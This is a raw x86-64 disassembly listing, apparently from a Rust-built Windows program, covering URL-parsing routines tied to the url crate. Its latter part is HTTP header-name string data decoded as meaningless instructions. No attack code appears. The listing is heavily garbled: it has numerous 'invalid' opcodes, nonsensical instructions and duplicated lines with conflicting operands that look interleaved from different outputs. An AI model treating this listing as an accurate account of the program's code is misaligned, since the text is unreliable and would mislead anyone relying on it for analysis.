call fcn.1400f9f40
nop
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
int3
add eax, dword [rax]
add byte [rax - 0x77], cl
iretd
enter 0x3277, 0x45
test eax, eax
je 0x1400ffbda
cmp r15, r8
jbe 0x1400ffbd8
cmp byte [rbp + r8], 0xc0
jge 0x1400ffbda
jmp 0x1400ffbec
mov edi, dword [rdi + 0x10]
jmp 0x1400ffc26
jne 0x1400ffbec
test r9d, r9d
je 0x1400ffc05
cmp r15, r9
jbe 0x1400ffc03
cmp byte [rbp + r9], 0xbf
jg 0x1400ffc05
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rax
add eax, 0x48000737
mov dword [rsp + 0x20], eax
mov rcx, rbp
mov rdx, r15
call fcn.140108ac0
jne 0x1400ffbec
cmp r9d, r8d
jne 0x1400ffc26
lea rcx, [r8 + rbp]
lea ecx, [rax + rbp]
sub r9, r8
mov edx, 1
mov r8, r9
call fcn.140106bb0
test eax, eax
je 0x1400fff2f
mov r14d, dword [rdi + 0x2c]
mov esi, dword [rdi + 0x2c]
test r14, r14
je case.0x1400dbf15.581
cmp r15, r14
jbe 0x1400ffc59
cmp byte [rbp + r14], 0xbf
jg 0x1400ffc5b
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rax
mov rcx, rbp
mov rdx, r15
xor r8d, r8d
mov r9, r14
call fcn.140108ac0
jne 0x1400ffc3c
cmp r14d, 4
jne case.0x1400dbf15.581
lea rdx, [0x140172e4c]
mov rcx, rbp
mov r8, r14
call fcn.140106bb0
test eax, eax
je 0x1400fff2f
lea r13d, [r14 + 3]
mov ebx, dword [rdi + 0x30]
cmp r13d, ebx
ja 0x1400fffe1
test r13d, r13d
je 0x1400ffca2
cmp r15, r13
jbe 0x1400ffcab
cmp byte [rbp + r13], 0xc0
jge 0x1400ffcb1
jmp 0x1400fffe1
test ebx, ebx
jne 0x1400ffcb5
jmp 0x1400fff1a
jne 0x1400fffe1
add byte [rax], al
test ebx, ebx
je 0x1400ffd02
cmp r15, rbx
jbe 0x1400ffcf2
cmp byte [rbp + rbx], 0xbf
jle 0x1400fffe1
cmp ebx, r13d
je 0x1400fff1a
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rax - 0x40ffe284], al
cmp byte [rbp + rbx], 0xbf
jg 0x1400ffd0b
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rax
mov rcx, rbp
mov rdx, r15
mov r8, rbx
mov r9, r15
call fcn.140108ac0
jne 0x1400fffe1
cmp ebx, r13d
jne 0x1400ffd0b
jmp 0x1400fff1a
test r13d, r13d
test ebp, ebp
je 0x1400fff1a
mov r14, r15
mov ecx, 1
sub r14, rbx
je case.0x1400dc507.504
and ecx, dword [rdi]
mov byte [rsi], cl
add eax, dword [rax]
add byte [rdi], cl
js 0x14010002c
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, r14
call fcn.1400df910
test rax, rax
je 0x140100031
test cl, bh
add al, byte [rax]
invalid
mov dh, 5
jmp 0x1400ffd48
test cl, bh
add al, byte [rax]
add byte [rax - 0x77], cl
ror dword [rax - 0x73], 0x14
lea rdx, [rbx + rbp]
mov qword [rsp + 0x30], rcx
mov rcx, rax
lea rdx, [rbx + rbp]
lea edx, [rbx + rbp]
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x30], ecx
mov r8, r14
call fcn.140106530
in al, 0x67
add byte [rax], al
mov rsi, r15
cmp r15, r13
jb 0x1400ffd71
invalid
sbb eax, 0x74ed8545
adc dword [rbp + 0x39], ecx
out dx, eax
test r13d, r13d
je 0x1400ffd6a
cmp r15, r13
jbe 0x1400ffd6a
cmp byte [rbp + r13], 0xbf
jle 0x14010003e
mov edi, 0x2d48e0f
add byte [rax], al
mov qword [rdi + 0x10], r13
mov dword [rdi + 0x10], ebp
mov rsi, r13
mov esi, ebp
mov rax, rsi
shr rax, 0x20
mov rcx, rsi
shl rcx, 0x20
invalid
or rcx, 0x900
test rax, rax
test eax, eax
test eax, eax
mov r12d, 0x901
add dword [rcx], ecx
add byte [rax], al
cmove r12, rcx
test r12b, r12b
jne 0x1400ffffe
invalid
add byte [rbx - 0x3eb6cf91], cl
in al, dx
and byte [rcx + rcx*4 + 0x67], al
mov dword [rdi + 0x30], r12d
cmp r15, rbx
mov rdx, qword [rsp + 0x30]
mov edx, dword [rsp + 0x30]
mov ebp, dword [rdi + 0x30]
shr r12, 0x20
mov dword [rdi + 0x30], r12d
cmp r15, rbx
mov rdx, qword [rsp + 0x30]
mov edx, dword [rsp + 0x30]
mov edx, dword [rsp + 0x30]
jne case.0x1400e1dbf.471
cmp r13d, r12d
je 0x1400ffe7c
add byte [rax], al
invalid
add byte [rax], al
add cl, ch
rol byte [rax], cl
add byte [rax], al
jmp 0x1400ffe91
movzx r9d, byte [rdx]
movzx eax, r9b
test al, al
js 0x1400ffe11
cmp r13d, r12d
jne 0x1400ffe72
invalid
add byte [rbx - 0x7af0bf08], al
lahf
add byte [rax], al
add byte [rax], al
invalid
invalid
cmp eax, 0x40
jne 0x1400ffe7c
add byte [rax], al
add byte [rax], al
cmp r14, 1
inc byte [rcx]
jbe 0x1400fff42
pop rbx
add dword [rax], eax
add byte [rax + 0xfbf017a], al
invalid
cmp byte [rdx + 1], 0xbf
jg 0x1400fff48
add byte [rax], al
add byte [rax], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rax
and al, 0x20
add byte [rax - 0x77], cl
and al, 0x20
and al, 0x20
and al, 0x20
mov r8d, 1
mov rcx, rdx
mov rdx, r14
mov r9, r14
int1
int1
call fcn.140108ac0
mov ecx, eax
and ecx, 0x1f
movzx r8d, byte [rdx + 1]
movzx eax, byte [rdx + 1]
movzx eax, byte [rdx + 1]
and r8d, 0x3f
cmp al, 0xdf
jbe 0x1400ffe61
movzx eax, byte [rdx + 2]
shl r8d, 6
and eax, 0x3f
or eax, r8d
or eax, eax
or eax, eax
cmp r9b, 0xf0
jb 0x1400fff75
stc
invalid
movzx r8d, byte [rdx + 3]
and ecx, 7
shl ecx, 0x12
shl eax, 6
and r8d, 0x3f
or r8d, eax
rol byte [rcx + 9], 0xc8
rol byte [rcx + 9], 0xc8
or eax, ecx
mov eax, r8d
cmp r13d, r12d
je 0x1400ffdd4
jmp 0x1400ffe72
shl ecx, 6
or ecx, r8d
mov eax, ecx
cmp r13d, r12d
je 0x1400ffdd4
invalid
cmp eax, 0x3a
je 0x1400ffe7c
cmp eax, 0x40
jne 0x1400ffe91
mov rax, qword [rdi]
sub rax, rsi
cmp rax, r14
jb 0x1400fff88
add byte [rax], al
add byte [rax], al
mov rcx, qword [rdi + 8]
jmp 0x1400ffecb
mov rax, qword [rdi]
cmp rsi, rax
jne 0x1400ffead
mov rcx, rdi
call fcn.1400ba070
mov rdx, qword [rsp + 0x30]
and al, 0x30
and al, 0x30
mov rax, qword [rdi]
mov rsi, qword [rdi + 0x10]
invalid
mov rcx, qword [rdi + 8]
mov byte [rcx + rsi], 0x40
inc rsi
mov qword [rdi + 0x10], rsi
mov dword [rdi + 0x10], esi
sub rax, rsi
cmp rax, r14
jb 0x1400fffa4
inc r12d
add rcx, rsi
mov r8, r14
call fcn.140106530
invalid
add byte [rax], al
add byte [rcx + rax - 0xa], cl
add rsi, r14
test byte [rcx + 0x29], 0xec
sub r12d, ebp
mov qword [rdi + 0x10], rsi
movq xmm0, qword [rdi + 0x34]
movd xmm1, r12d
pshufd xmm1, xmm1, 0x50
paddd xmm1, xmm0
paddd mm1, mm0
paddd mm1, mm0
movq qword [rdi + 0x34], xmm1
add dword [rdi + 0x3c], r12d
cmp dword [rdi + 0x18], 0
je 0x1400fff06
invalid
invalid
add dword [rdi + 0x1c], r12d
sbb al, 0x83
jg 0x1400fff29
cmp dword [rdi + 0x20], 0
mov r8, qword [rsp + 0x30]
add byte [rbx + rcx*4 + 0x44], cl
and al, 0x30
je 0x1400fff15
add al, 0x44
add dword [rdi + 0x24], esp
invalid
add dword [rdi + 0x24], r12d
and al, 0x49
cmp edi, ebx
cmp r15, rbx
jne 0x1400fff1e
xor ebx, ebx
jmp 0x1400fff2f
mov rcx, qword [0x140182260]
or eax, 0x8233b
add byte [rcx], dh
invalid
xor ebx, ebx
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
xor dword [rcx + rax], esi
add byte [rcx - 0x3b7cb728], cl
cmp byte [rbx + 0x5d], bl
mov eax, ebx
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
jne 0x1400ffdf1
dec dword [rcx - 1]
invalid
dec r14
inc rdx
mov rax, qword [rdi]
sub rax, rsi
cmp rax, r14
jb 0x1400fffc4
inc ebp
mov rcx, qword [rdi + 8]
add rcx, rsi
mov r8, r14
mov eax, esi
mov eax, esi
call fcn.140106530
add rsi, r14
mov r12d, r13d
jmp 0x1400ffed9
shl ecx, 0xc
or eax, ecx
cmp r13d, r12d
je 0x1400ffdd4
push rcx
invalid
invalid
invalid
push rcx
invalid
jmp 0x1400ffe72
mov rcx, rdi
mov rdx, rsi
mov r8, r14
call fcn.140108ba0
mov rdx, qword [rsp + 0x30]
mov rsi, qword [rdi + 0x10]
jmp 0x1400ffe8b
mov rcx, rdi
mov rdx, rsi
mov r8, r14
call fcn.140108ba0
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rdi + 8]
mov rsi, qword [rdi + 0x10]
jmp 0x1400ffec8
mov rcx, rdi
mov r12, rdx
mov rdx, rsi
mov r8, r14
call fcn.140108ba0
add byte [rax], al
add byte [rax], al
mov rdx, r12
mov rsi, qword [rdi + 0x10]
jmp 0x1400fff59
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rax
mov rcx, rbp
jmp 0x18e0a8940
mov eax, ebp
mov r9, rbx
call fcn.140108ac0
jmp 0x18e0a8940
mov byte [rsp + 0x2f], 9
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140172970]
lea r8, [rsp + 0x2f]
mov edx, 0x2b
call fcn.1401088e0
call fcn.140010970
mov ecx, 1
mov rdx, r14
call fcn.1401082a0
lea rcx, str.assertion_failed:_self.is_char_boundary_new_len_
lea r8, [0x140172bb0]
mov edx, 0x30
call fcn.140108630
int3
test eax, eax
je 0x1401000b3
cmp rsi, r8
jbe 0x1401000b1
cmp byte [rdi + r8], 0xc0
jge 0x1401000b3
jmp 0x1401000c4
push rsi
jne 0x1401000c4
test r9d, r9d
test ecx, ecx
je 0x1401000dd
cmp rsi, r9
jbe 0x1401000db
cmp byte [rdi + r9], 0xbf
jg 0x1401000dd
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rax
mov rcx, rdi
mov rdx, rsi
call fcn.140108ac0
jne 0x1401000c4
cmp r9d, r8d
jne 0x140100107
lea rax, [rdi + r8]
sub r9, r8
mov edx, 1
mov r14, rcx
mov rcx, rax
mov r8, r9
call fcn.140106bb0
mov rcx, r14
test eax, eax
je 0x14010022b
mov r15d, dword [rcx + 0x2c]
test r15, r15
je 0x140100161
cmp rsi, r15
jbe 0x140100139
cmp byte [rdi + r15], 0xbf
jg 0x14010013b
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rax
mov rcx, rdi
mov rdx, rsi
xor r8d, r8d
mov r9, r15
call fcn.140108ac0
jne 0x14010011c
cmp r15d, 4
jne 0x140100161
lea rdx, [0x140172e4c]
mov r14, rcx
mov rcx, rdi
mov r8, r15
call fcn.140106bb0
mov rcx, r14
test eax, eax
je 0x14010022b
mov r14d, dword [rcx + 0x30]
cmp rsi, r14
jbe 0x14010023b
cmp byte [rdi + r14], 0x3a
jne 0x140100229
mov r12d, dword [rcx + 0x34]
lea ebx, [r12 - 1]
cmp rsi, rbx
jbe 0x14010024d
lea eax, [r15 + 3]
cmp eax, r14d
cmove ebx, r12d
mov edx, ebx
cmp ebx, r14d
jb 0x14010025f
mov r15, rsi
sub r15, rdx
jb 0x14010026e
test ebx, ebx
je 0x1401001c0
cmp rsi, rdx
jbe 0x1401001c0
cmp byte [rdi + rdx], 0xbf
jle 0x140100280
lea rax, [rdi + r14]
add rdi, rdx
sub ebx, r14d
jb 0x1401001f9
mov qword [rcx + 0x10], r14
jne 0x1401001d9
cmp rsi, r14
jne 0x1401001f2
jmp 0x1401001f9
cmp rsi, rdx
je 0x1401001f9
mov rsi, rcx
mov rcx, rax
mov rdx, rdi
mov r8, r15
call fcn.140106530
mov rcx, rsi
add r15, r14
mov qword [rcx + 0x10], r15
sub r12d, ebx
mov dword [rcx + 0x34], r12d
movq xmm0, qword [rcx + 0x38]
movd xmm1, ebx
pshufd xmm1, xmm1, 0x50
psubd xmm0, xmm1
movq qword [rcx + 0x38], xmm0
cmp dword [rcx + 0x18], 0
je 0x140100220
sub dword [rcx + 0x1c], ebx
cmp dword [rcx + 0x20], 0
je 0x140100229
sub dword [rcx + 0x24], ebx
xor ebx, ebx
mov eax, ebx
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov rcx, r14
mov rdx, rsi
call fcn.1401085b0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov rcx, rbx
mov rdx, rsi
call fcn.1401085b0
lea r8, [0x140172ad8]
mov rcx, r14
call fcn.140108810
lea r8, [0x140172ad8]
mov rcx, rdx
mov rdx, rsi
call fcn.140108620
lea rcx, str.assertion_failed:_self.is_char_boundary_end_
lea r8, [0x140172b68]
mov edx, 0x2c
call fcn.140108630
int3
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
outsb dx, byte fs:[rsi]
je 0x14012baca
invalid
invalid
invalid
je 0x14012bacd
js 0x14012bae0
js 0x14012bae0
invalid
js 0x14012bae6
imul esi, dword [rdx + 0x65], 0x726f6673
ja 0x14012bae0
outsw dx, word [rsi]
jb 0x14012baf5
invalid
jb 0x14012bae5
jb 0x14012baf5
jb 0x14012baf5
insd dword [rdi], dx
imul esp, dword [rsi + 0x2d], 0x6374616d
push 0x6d2d6669
imul esp, dword [rsi + 0x2d], 0x69646f6d
imul sp, word [rbp + 0x64], 0x732d
imul esp, dword [rsi + 0x2d], 0x69646f6d
imul sp, word [rbp + 0x64], 0x732d
imul ebp, dword [rsi + 0x63], 0x2d666965
outsb dx, byte [rsi]
outsd dx, dword [rsi]
outsb dx, byte [rsi]
sub eax, 0x6374616d
imul esp, dword [rsi + 0x2d], 0x656e6f6e
sub eax, 0x6374616d
push 0x722d6669
invalid
imul esp, dword [rsi + 0x2d], 0x676e6172
imul esp, dword gs:[rsi + 0x2d], 0x6f6d6e75
imul esp, dword [rsi + 0x2d], 0x6f6d6e75
imul esp, dword [rsi + 0x2d], 0x6f6d6e75
imul esp, dword fs:[rsi + 0x69], 0x732d6465
imul ebp, dword [rsi + 0x63], 0x73616c65
insb byte [rdi], dx
invalid
jae 0x14012bb40
invalid
insb byte [rdi], dx
invalid
jae 0x14012bb40
sub eax, 0x69646f6d
imul sp, word [rbp + 0x64], 0x696c
insb byte [rdi], dx
invalid
insd dword [rdi], dx
outsd dx, dword [rsi]
imul esp, dword fs:[rsi + 0x69], 0x696c6465
insb byte [rdi], dx
invalid
insb byte [rdi], dx
imul ebp, dword [rsi + 0x6b], 0x61636f6c
insb byte [rdi], dx
outsd dx, dword [rsi]
invalid
invalid
outsb dx, byte [rsi]
imul ebp, dword [rdi + rbp*2 + 0x63], 0x61
insb byte [rdi], dx
outsd dx, dword [rsi]
invalid
invalid
insb byte [rdi], dx
outsd dx, dword [rsi]
invalid
je case.0x14003596b.201
outsd dx, dword [rsi]
outsb dx, byte [rsi]
insd dword [rdi], dx
invalid
outsw dx, word [rsi]
outsd dx, dword [rsi]
jb 0x14012bb60
invalid
outsd dx, dword [rsi]
jb 0x14012bb59
imul ebp, dword [esi + 0x70], 0x6d676172
invalid
jo 0x14012bb67
invalid
jo 0x14012bb6d
jb 0x14012bb6b
outsd dx, dword [rsi]
js 0x14012bb77
sub eax, 0x68747561
outsb dx, byte gs:[rsi]
je 0x14012bb70
invalid
jo 0x14012bb7f
outsd dx, dword [rsi]
js case.0x14003596b.207
sub eax, 0x68747561
outsd dx, dword [rsi]
jb 0x14012bb81
jp 0x14012bb7b
je 0x14012bb85
outsd dx, dword [rsi]
outsb dx, byte [rsi]
jo 0x14012bb95
invalid
jo 0x14012bba4
invalid
outsd dx, dword [rsi]
jb 0x14012bbb7
sub eax, 0x796c6e6f
jb 0x14012bbab
outsb dx, byte [rsi]
jb 0x14012bbb4
jb 0x14012bbb4
jb 0x14012bbb4
jb 0x14012bbb8
jb 0x14012bbc7
jb 0x14012bbbb
jb 0x14012bbcc
jb 0x14012bbcc
jb 0x14012bbc0
jb 0x14012bb8a
jb 0x14012bb8a
jo 0x14012bbce
insb byte [rdi], dx
imul esp, dword [rbx + 0x79], 0x72666572
jb 0x14012bbca
jb 0x14012bbcd
jae 0x14012bbd2
jae 0x14012bbd2
jb 0x14012bbd1
je 0x14012bbe0
je 0x14012bbe0
jb 0x14012bbe8
jns 0x14012bb9d
sub eax, 0x65746661
jb 0x14012bbe9
invalid
invalid
jae 0x14012bbdc
invalid
invalid
invalid
imul esp, dword [rbp + 0x74], 0x2d
je 0x14012bbb0
invalid
invalid
jae 0x14012bbf0
invalid
invalid
je 0x14012bbc4
js 0x14012bc0e
outsb dx, byte gs:[rsi]
jae 0x14012bc07
imul ebp, dword [rdi + 0x6e], 0x63657373
outsd dx, dword [rsi]
outsb dx, byte [rsi]
jae 0x14012bc15
invalid
jae case.0x14003596b.215
invalid
invalid
sub eax, 0x73626577
outsd dx, dword [rsi]
invalid
imul esp, dword [rbp + 0x74], 0x2d
imul esp, dword [rbp + 0x79], 0x73
invalid
jns 0x14012bc26
jae 0x14012bc19
invalid
invalid
invalid
invalid
invalid
jo 0x14012bc34
outsd dx, dword [rsi]
je 0x14012bc34
outsd dx, dword [rsi]
invalid
insb byte [rdi], dx
jae 0x14012bc2f
invalid
ja 0x14012bc33
invalid
invalid
invalid
imul esp, dword [rbp + 0x74], 0x2d
jbe 0x14012bc3d
jb 0x14012bc4d
imul ebp, dword [rdi + 0x6e], 0x76726573
outsb dx, byte [rsi]
jae 0x14012bc44
jb 0x14012bc57
jbe 0x14012bc47
jb 0x14012bc57
jb 0x14012bc57
jae case.0x14003596b.220
je 0x14012bc14
je 0x14012bc14
invalid
outsd dx, dword [rsi]
outsd dx, dword [rsi]
imul ebp, dword [rcx + 0x65], 0x73
jae 0x14012bc63
invalid
jae 0x14012bc63
jb 0x14012bc5a
imul esp, dword [rbx + 0x74], 0x6172742d
outsb dx, byte [rsi]
jae 0x14012bc6a
invalid
outsd dx, dword [rsi]
jb 0x14012bc71
sub eax, 0x75636573
jb 0x14012bc6d
je 0x14012bc7f
je 0x14012bc6d
je 0x14012bc7c
je 0x14012bc7c
invalid
jb 0x14012bc84
je 0x14012bc83
jb 0x14012bc73
invalid
outsb dx, byte [rsi]
jae 0x14012bc7b
jb 0x14012bc45
jb 0x14012bc45
outsb dx, byte gs:[rsi]
outsb dx, byte [rsi]
invalid
jne 0x14012bc95
jb 0x14012bc52
invalid
outsb dx, byte gs:[esi]
je 0x14012bca0
invalid
jne 0x14012bc9c
jo case.0x14003596b.226
jb 0x14012bc90
jb 0x14012bc90
jne case.0x14003596b.227
jne case.0x14003596b.227
jb 0x14012bc97
jb 0x14012bc97
sub eax, 0x65736e69
invalid
jno 0x14012bcbb
jne 0x14012bcac
jae 0x14012bcbd
jae 0x14012bcbd
jae 0x14012bcc1
jbe 0x14012bcad
invalid
jb 0x14012bcc7
jns 0x14012bcc5
jbe 0x14012bcb9
imul esp, dword [rcx + 0x77], 0x696e7261
outsb dx, byte [rsi]
invalid
ja 0x14012bcb4
invalid
jb 0x14012bcc3
imul ebp, dword [rsi + 0x67], 0x2d777777
ja 0x14012bcd1
ja 0x14012bcd1
ja 0x14012bc89
invalid
je 0x14012bccd
imul esp, dword [rbx + 0x61], 0x2d786574
invalid
js 0x14012bc97
invalid
je 0x14012bcd4
outsb dx, byte [rsi]
je 0x14012bc9f
sub eax, 0x65707974
je 0x14012bced
jns 0x14012bce5
jo 0x14012bcdb
sub eax, 0x6974706f
sub eax, 0x6974706f
outsd dx, dword [rsi]
outsb dx, byte [rsi]
jae 0x14012bcf7
invalid
js 0x14012bcad
sub eax, 0x2d736e64
outsb dx, byte fs:[rsi]
jae 0x14012bcb1
sub eax, 0x66657270
je 0x14012bcee
jo 0x14012bcf8
je 0x14012bcee
je 0x14012bcee
push 0x6e6f632d
je 0x14012bd04
outsd dx, dword [rsi]
insb byte [rdi], dx
js 0x14012bcc3
sub eax, 0x6d617266
jb 0x14012bcfa
jb 0x14012bcfa
insd dword [rdi], dx
sub eax, 0x6974706f
outsd dx, dword [rsi]
jo 0x14012bd13
imul ebp, dword [rdi + 0x6e], 0x782d7873
jae 0x14012bd1b
outsd dx, dword [rsi]
outsb dx, byte [rsi]
jae 0x14012bd1c
invalid
js 0x14012bcd2
sub eax, 0x2d737378
js 0x14012bd1a
jae 0x14012bcd6
sub eax, 0x746f7270
jo 0x14012bd1d
outsd dx, dword [rsi]
je 0x14012bd13
invalid
invalid
outsd dx, dword [rsi]
outsb dx, byte [rsi]
add byte [rax], al
add byte [rax], al
add byte [rax + 0x1400372], dh
add byte [rax], al
add byte [rax], al
mov al, 0x72
add eax, dword [rax + 1]
jb 0x14012bcbe
add dword [rax], eax
add byte [rax], al
add byte [rax + 0x1400121], dl
add byte [rax], al
nop
and dword [rcx], eax
add dword [rax], eax
add byte [rax], al
rol byte [rax + rax + 0x40], 1
add byte [rax], al
add al, al
add byte [rax + 1], r8b
add byte [rax], al
add byte [rbx + 0x3a], al
invalid
invalid
cmp bl, byte [rbp + rdx*2 + 0x73]
jb 0x14012bd4b
pop rsp
push rbp
jae 0x14012bd3b
jb 0x14012bd4b
pop rsp
push rbp
jae 0x14012bd41
jb 0x14012bd3a
jb 0x14012bd3a
invalid
jb 0x14012bd4c
imul esi, dword [ebx + 0x74], 0x735c7972
jb 0x14012bd54
pop rsp
jae 0x14012bd62
invalid
pop rsp
imul ebp, dword [rsi + 0x64], 0x632e7865
jb 0x14012bd5c
invalid
invalid
invalid
je 0x14012bd62
jae 0x14012bd2d
imul ebp, dword [rdi + 0x2d], 0x37316636
xor dword [rdi], esi
xor dh, byte fs:[rdx]
invalid
push 0x2d707474
xor byte [rsi], ch
xor ch, byte [rsi]
xor dword cs:[rdx], esi
xor dword [rdx], esi
xor bl, byte [rbx + rsi*2 + 0x72]
pop rsp
jae 0x14012bd93
invalid
jne 0x14012bd94
jb 0x14012bda5
add byte [rax], al
add byte [rax], al
add byte [rax], al
sar byte [rdx + rdx + 0x140], 1
adc al, byte [rax + 1]
add byte [rax], al
add dword [rax], eax
add byte [rax], al
invalid
add byte [rdx], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
iretd
add byte [rax], al
add byte [rax], al
add byte [rax], al
add bh, cl
add byte [rax], al
add byte [0x18f12bd51], cl
invalid
or eax, 0x4f000000
invalid
push rax
push rsp
push rbx
push rbx
push r12
push rax
push r11
push rbx
push rsp
push rax
push rbp
push rsp
push r12
push r12
push rsp
push rdx
push r12
push rax
push r12
add byte [rax], al
add byte [rax], al
rol byte [rax + rax + 0x40], 1
add byte [rax], al
add byte [rax + rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add al, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x1400359], ah
add byte [rax], al
add al, al
add byte [rax], al
add byte [rax], al
movabs al, byte [0xc000000001400359]
add byte [rax + 1], r8b
add byte [rax], al
add byte [rax + rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add al, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
nop
add al, 2
add dword [rax], eax
add byte [rax], al
rol byte [rax + rax + 0x40], 1
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x59], dh
add eax, dword [rax + 1]
add byte [rax], al
add byte [rax + 0x1400243], al
add byte [rax], al
add byte [rax], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], dh
sub al, byte [rcx]
add dword [rax], eax
add byte [rax], al
rol byte [rax + rax + 0x40], 1
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x1400204], al
add byte [rax], al
add al, al
add byte [rax + 1], r8b
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x59], al
add eax, dword [rax + 1]
add byte [rax], al
add al, al
add byte [rax + 1], r8b
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], dh
pop rcx
add eax, dword [rax + 1]
add byte [rax], al
add al, al
add byte [rax + 1], r8b
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
push rdi
add eax, dword [rax + 1]
add byte [rax], al
add al, al
add byte [rax + 1], r8b
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], dh
jrcxz 0x14012be9e
add dword [rax], eax
add byte [rax], al
rol byte [rax + rax + 0x40], 1
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x60], al
add eax, dword [rax + 1]
add byte [rax], al
add byte [rdx + 0x61], dh
jb 0x14012bf23
outsb dx, byte [rsi]
and byte gs:[ebx + 0x74], dh
invalid
imul ebp, dword [rsi + 0x76], 0x64696c61
and byte [rax + 0x54], cl
push rsp
push rax
and byte [rax + 0x65], ch
invalid
imul ebp, dword [rsi + 0x76], 0x64696c61
and byte [rbx + 0x6f], ah
outsb dx, byte [rsi]
je 0x14012c281
outsb dx, byte [rsi]
je 0x14012c24c
insb byte [rdi], dx
outsb dx, byte gs:[rsi]
je 0x14012c28d
and byte [rax + 0x61], dh
jb 0x14012c29d
jne 0x14012c29c
jne 0x14012c29c
js 0x14012c2a1
invalid
jae 0x14012c2b3
insd dword [rdi], dx
jae 0x14012c2c6
invalid
jo 0x14012c2e4
jb 0x14012c2f8
imul ebp, dword fs:[rsi + 0x74], 0x616e7265
insb byte [rdi], dx
and byte [rbp + 0x72], ah
jb 0x14012c303
invalid
jb 0x14012c2b6
imul ebp, dword [rsi + 0x73], 0x20656469
and byte [rax + 0x79], cl
jo 0x14012c306
jns 0x14012c310
jb 0x14012c2c3
jb 0x14012c2c3
invalid
outsb dx, byte gs:[rsi]
invalid
jb 0x14012c32a
jo 0x14012c336
outsd dx, dword [rsi]
jb 0x14012c33d
jb case.0x14003596b.55
outsd dx, dword [rsi]
jb 0x14012c2ef
jb 0x14012c341
insd dword [rdi], dx
and byte [rbp + 0x73], dh
jb 0x14012c300
jae 0x14012c2fb
je 0x14012c352
jo 0x14012c322
outsd dx, dword [rsi]
jns 0x14012c304
jae 0x14012c35a
jb 0x14012c34d
invalid
jne 0x14012c35f
jb 0x14012c30f
invalid
and byte gs:[rcx + 0x62], ah
outsd dx, dword [rsi]
jb 0x14012c373
invalid
jb 0x14012c376
jb 0x14012c376
jb 0x14012c376
jb 0x14012c374
outsd dx, dword [rsi]
jb 0x14012c327
and byte [rsi + 0x72], ah
outsd dx, dword [rsi]
jb 0x14012c379
insd dword [rdi], dx
and byte [rbp + 0x73], dh
jb 0x14012c338
jb 0x14012c338
invalid
jae 0x14012c333
push rbx
jb 0x14012c38d
imul esp, dword [rbx + 0x65], 0x75716572
jb 0x14012c381
jno 0x14012c393
jae 0x14012c395
and byte [rax + 0x61], ch
jae 0x14012c346
push 0x75207361
jne 0x14012c396
outsb dx, byte [rsi]
jae 0x14012c39f
jo 0x14012c39c
outsd dx, dword [rsi]
jb 0x14012c3a3
and byte fs:[rax + 0x54], cl
push rsp
push rsp
push rax
and byte [rsi + 0x65], dh
jb 0x14012c3ae
jb 0x14012c3ae
imul ebp, dword [rdi + 0x6e], 0x75716572
